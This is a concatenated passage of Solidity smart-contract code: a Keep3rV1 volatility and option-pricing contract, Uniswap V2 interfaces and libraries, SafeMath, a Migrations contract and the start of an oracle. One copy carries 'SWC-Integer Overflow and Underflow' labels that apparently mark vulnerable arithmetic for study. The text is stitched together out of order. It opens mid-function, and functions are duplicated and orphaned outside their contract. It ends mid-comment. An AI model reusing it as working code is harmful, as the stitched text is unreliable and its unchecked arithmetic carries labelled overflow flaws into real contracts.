Underflow: L70 res += uint(1) << (i - 1); } } } // SWC-Integer Overflow and Underflow: L75 return res * LOG_E_2 / BASE; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; // SWC-Integer Overflow and Underflow: L96 - L150 z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) { uint price = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut); return quotePrice(tokenIn, tokenOut, t, price, price); } function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) { uint v = rVol(tokenIn, tokenOut, 48, 2); return quoteAll(t, v, sp, st); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IKeep3rV1Oracle { function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory); function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut); } interface IERC20 { function decimals() external view returns (uint); } contract Keep3rV1Volatility { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LNX = 3988425491; uint private constant LOG_10_2 = 3010299957; uint private constant LOG_E_2 = 6931471806; uint private constant BASE = 1e10; IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0x73353801921417F465377c8d898c6f4C0270282C); function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function ln(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_E_2 / BASE; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) { uint price = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut); return quotePrice(tokenIn, tokenOut, t, price, price); } function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) { uint v = rVol(tokenIn, tokenOut, 48, 2); return quoteAll(t, v, sp, st); } function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) { uint _c; uint _p; if (sp > st) { _c = C(t, v, sp, st); _p = st-sp+_c; } else { _p = C(t, v, st, sp); _c = st-sp+_p; } return (_c, _p); } function C(uint t, uint v, uint sp, uint st) public pure returns (uint) { if (sp == st) { return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9; } uint sigma = ((v**2)/2); uint sigmaB = 1e36; uint sig = 1e18 * sigma / sigmaB * t / 365; uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9; uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1; d1 = (d1 + sig) * 1e18 / sSQRT; uint d2 = d1 - sSQRT; uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18); uint cdfD2 = ncdf(FIXED_1 * d2 / 1e18); return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14; } function ncdf(uint x) internal pure returns (uint) { int t1 = int(1e7 + (2315419 * x / FIXED_1)); uint exp = x / 2 * x / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } function generalLog(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_10_2 / BASE; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function vol(uint[] memory p) public pure returns (uint x) { for (uint8 i = 1; i <= (p.length-1); i++) { x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2; //denom += FIXED_1**2; } //return (sum, denom); x = sqrt(uint(252) * sqrt(x / (p.length-1))); return uint(1e18) * x / SQRT_1; } function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) { return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window)); } function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 2); } function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 48); } function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 336); } function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 2); } function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 48); } function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 336); } } function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) { uint _c; uint _p; if (sp > st) { _c = C(t, v, sp, st); _p = st-sp+_c; } else { _p = C(t, v, st, sp); _c = st-sp+_p; } return (_c, _p); } function C(uint t, uint v, uint sp, uint st) public pure returns (uint) { if (sp == st) { return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9; } uint sigma = ((v**2)/2); uint sigmaB = 1e36; uint sig = 1e18 * sigma / sigmaB * t / 365; uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9; uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1; d1 = (d1 + sig) * 1e18 / sSQRT; uint d2 = d1 - sSQRT; uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18); uint cdfD2 = ncdf(FIXED_1 * d2 / 1e18); return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14; } function ncdf(uint x) internal pure returns (uint) { int t1 = int(1e7 + (2315419 * x / FIXED_1)); uint exp = x / 2 * x / FIXED_1; int d = int(3989423 * FIXED_1 / optimalExp(uint(exp))); uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1); if( x > 0 ) prob = 1e14 - prob; return prob; } function generalLog(uint256 x) internal pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_10_2 / BASE; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function vol(uint[] memory p) public pure returns (uint x) { for (uint8 i = 1; i <= (p.length-1); i++) { x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2; //denom += FIXED_1**2; } //return (sum, denom); x = sqrt(uint(252) * sqrt(x / (p.length-1))); return uint(1e18) * x / SQRT_1; } function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) { return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window)); } function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 2); } function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 48); } function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) { return rVol(tokenIn, tokenOut, points, 336); } function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 2); } function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 48); } function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) { return rVol(tokenIn, tokenOut, 2, 336); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; contract Migrations { address public owner = msg.sender; uint public last_completed_migration; modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } interface IKeep3rV1 { function isKeeper(address) external returns (bool); function worked(address keeper) external; } // sliding oracle that uses observations collected to provide moving price averages in the past contract UniswapV2Oracle { using FixedPoint for *; using SafeMath for uint; struct Observation { uint timestamp; uint price0Cumulative; uint price1Cumulative; uint timeElapsed; } modifier keeper() { require(KP3R.isKeeper(msg.sender), "::isKeeper: keeper is not registered"); _; } modifier upkeep() { require(KP3R.isKeeper(msg.sender), "::isKeeper: keeper is not registered"); _; KP3R.worked(msg.sender); } address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as 